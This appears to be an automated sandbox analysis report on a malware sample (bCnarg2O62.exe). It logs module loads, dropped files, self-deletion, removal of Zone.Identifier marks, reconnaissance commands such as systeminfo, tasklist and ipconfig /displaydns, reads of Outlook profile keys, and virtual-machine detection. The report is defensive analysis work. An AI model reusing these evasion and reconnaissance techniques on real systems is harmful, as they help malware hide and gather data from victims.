Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\ROUTE.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\ROUTE.EXE	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\ROUTE.EXE	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\ROUTE.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{50CE75BC-766C-4136-BF5E-9197AA23569E}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\systeminfo.exe systeminfo

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /v /fo csv

Source: C:\Windows\SysWOW64\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: C:\Users\user\Desktop\bCnarg2O62.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: bCnarg2O62.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\bCnarg2O62.exe	Unpacked PE file: 0.2.bCnarg2O62.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.siy:R;.fitecos:R;.darulet:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\derhswe	Unpacked PE file: 5.2.derhswe.400000.0.unpack .text:ER;.rdata:R;.data:W;.siy:R;.fitecos:R;.darulet:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\derhswe	Unpacked PE file: 6.2.derhswe.400000.0.unpack .text:ER;.rdata:R;.data:W;.siy:R;.fitecos:R;.darulet:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Unpacked PE file: 7.2.1D0F.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.xexolu:R;.naxurew:R;.havi:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\jfrhswe	Unpacked PE file: 8.2.jfrhswe.400000.0.unpack .text:ER;.rdata:R;.data:W;.xexolu:R;.naxurew:R;.havi:W;.rsrc:R; vs .text:EW;

Source: C:\Users\user\AppData\Local\Temp\9245.exe

Code function: 10_2_00007FF7327A78EC LoadLibraryA,GetProcAddress,GetCurrentProcess,IsWow64Process,

10_2_00007FF7327A78EC

Source: bCnarg2O62.exe	Static PE information: section name: .siy
Source: bCnarg2O62.exe	Static PE information: section name: .fitecos
Source: bCnarg2O62.exe	Static PE information: section name: .darulet
Source: 1D0F.exe.1.dr	Static PE information: section name: .xexolu
Source: 1D0F.exe.1.dr	Static PE information: section name: .naxurew
Source: 1D0F.exe.1.dr	Static PE information: section name: .havi
Source: jfrhswe.1.dr	Static PE information: section name: .xexolu
Source: jfrhswe.1.dr	Static PE information: section name: .naxurew
Source: jfrhswe.1.dr	Static PE information: section name: .havi
Source: derhswe.1.dr	Static PE information: section name: .siy
Source: derhswe.1.dr	Static PE information: section name: .fitecos
Source: derhswe.1.dr	Static PE information: section name: .darulet

Source: C:\Users\user\Desktop\bCnarg2O62.exe	Code function: 0_2_004014D9 pushad ; ret	0_2_004014E9
Source: C:\Users\user\Desktop\bCnarg2O62.exe	Code function: 0_2_004031DB push eax; ret	0_2_004032AB
Source: C:\Users\user\Desktop\bCnarg2O62.exe	Code function: 0_2_00521540 pushad ; ret	0_2_00521550
Source: C:\Users\user\Desktop\bCnarg2O62.exe	Code function: 0_2_005C32ED push esp; ret	0_2_005C32EF
Source: C:\Users\user\Desktop\bCnarg2O62.exe	Code function: 0_2_005C1690 push B63524ADh; retn 001Fh	0_2_005C16C7
Source: C:\Users\user\Desktop\bCnarg2O62.exe	Code function: 0_2_005C218D pushfd ; iretd	0_2_005C218E
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 5_2_004014D9 pushad ; ret	5_2_004014E9
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 5_2_004031DB push eax; ret	5_2_004032AB
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 5_2_004A1540 pushad ; ret	5_2_004A1550
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 5_2_005225E5 push esp; ret	5_2_005225E7
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 5_2_00521485 pushfd ; iretd	5_2_00521486
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 5_2_00520988 push B63524ADh; retn 001Fh	5_2_005209BF
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 6_2_004014D9 pushad ; ret	6_2_004014E9
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 6_2_004031DB push eax; ret	6_2_004032AB
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 6_2_00521540 pushad ; ret	6_2_00521550
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 6_2_00754355 pushfd ; iretd	6_2_00754356
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 6_2_00753858 push B63524ADh; retn 001Fh	6_2_0075388F
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 6_2_007554B5 push esp; ret	6_2_007554B7
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Code function: 7_2_00402842 pushad ; retf F6A4h	7_2_004029D1
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Code function: 7_2_00401065 pushfd ; retf	7_2_0040106A
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Code function: 7_2_00402805 push 21CACAEFh; iretd	7_2_0040280A
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Code function: 7_2_00402511 push ebp; iretd	7_2_00402523
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Code function: 7_2_00403325 push eax; ret	7_2_004033F3
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Code function: 7_2_00403433 pushad ; ret	7_2_004035AB
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Code function: 7_2_00401182 push esp; retf	7_2_0040118E
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Code function: 7_2_00402A9D pushad ; retf	7_2_00402AAB
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Code function: 7_2_004012B7 push cs; iretd	7_2_004012B8
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Code function: 7_2_005F2578 push ebp; iretd	7_2_005F258A
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Code function: 7_2_005F286C push 21CACAEFh; iretd	7_2_005F2871
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Code function: 7_2_005F131E push cs; iretd	7_2_005F131F
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Code function: 7_2_005F2B04 pushad ; retf	7_2_005F2B12

Persistence and Installation Behavior

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\ipconfig.exe ipconfig /displaydns

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\1D0F.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\jfrhswe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\derhswe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\9245.exe	Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\jfrhswe			Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\derhswe			Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\bcnarg2o62.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\derhswe:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\jfrhswe:Zone.Identifier read attributes \| delete			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\9245.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\bCnarg2O62.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\bCnarg2O62.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\bCnarg2O62.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\bCnarg2O62.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\bCnarg2O62.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\bCnarg2O62.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\derhswe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\derhswe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
